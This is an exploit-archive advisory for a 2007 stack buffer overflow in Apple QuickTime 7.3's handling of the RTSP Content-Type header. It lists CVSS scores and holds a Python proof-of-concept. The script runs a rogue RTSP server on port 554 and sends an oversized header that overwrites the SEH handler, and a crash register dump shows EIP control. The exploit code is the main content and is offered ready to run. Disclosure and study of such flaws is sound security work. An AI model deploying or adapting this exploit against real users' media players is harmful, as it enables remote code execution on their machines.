Apple QuickTime RTSP Content-Type header stack buffer overflow

2007.12.02
Risk: High
Local: Yes
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/python # Apple QuickTime 7.3 RTSP Response 0day Remote SEH Overwrite PoC Exploit # Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl> # Tested on: Apple QuickTime Player 7.3 / XP SP2 Polish # Details:.. # # (RTSP) Content-Type: [A * 995] + [B * 4096]\r\n # # 0x41414141 Pointer to next SEH record # 0x42424242 SE handler # # ---------------------------------------------------------------- # Exception C0000005 (ACCESS_VIOLATION reading [42424242]) # ---------------------------------------------------------------- # EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? # EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? # ECX=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? # EDX=7C9037D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00 # ESP=0012F8A8: BF 37 90 7C 90 F9 12 00-F8 F0 13 00 AC F9 12 00 # EBP=0012F8C8: 78 F9 12 00 8B 37 90 7C-90 F9 12 00 F8 F0 13 00 # ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? # EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? # EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? # --> N/A # ---------------------------------------------------------------- ## from socket import * header = ( 'RTSP/1.0 200 OK\r\n' 'CSeq: 1\r\n' 'Date: 0x00 :P\r\n' 'Content-Base: rtsp://0.0.0.0/1.mp3/\r\n' 'Content-Type: %s\r\n' # <-- overflow 'Content-Length: %d\r\n' '\r\n') body = ( 'v=0\r\n' 'o=- 16689332712 1 IN IP4 0.0.0.0\r\n' 's=MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n' 'i=1.mp3\r\n' 't=0 0\r\n' 'a=tool:ciamciaramcia\r\n' 'a=type:broadcast\r\n' 'a=control:*\r\n' 'a=range:npt=0-213.077\r\n' 'a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n' 'a=x-qt-text-inf:1.mp3\r\n' 'm=audio 0 RTP/AVP 14\r\n' 'c=IN IP4 0.0.0.0\r\n' 'a=control:track1\r\n' ) tmp = "A" * 995 tmp += "B" * 4096 header %= (tmp, len(body)) evil = header + body s = socket(AF_INET, SOCK_STREAM) s.bind(("0.0.0.0", 554)) s.listen(1) print "[+] Listening on [RTSP] 554" c, addr = s.accept() print "[+] Connection accepted from: %s" % (addr[0]) c.recv(1024) c.send(evil) raw_input("[+] Done, press enter to quit") c.close() s.close() SecurityReason Note : References: http://www.kb.cert.org/vuls/id/659761 http://securityreason.com/exploitalert/3008 http://securityreason.com/exploitalert/3020 http://securityreason.com/exploitalert/3024


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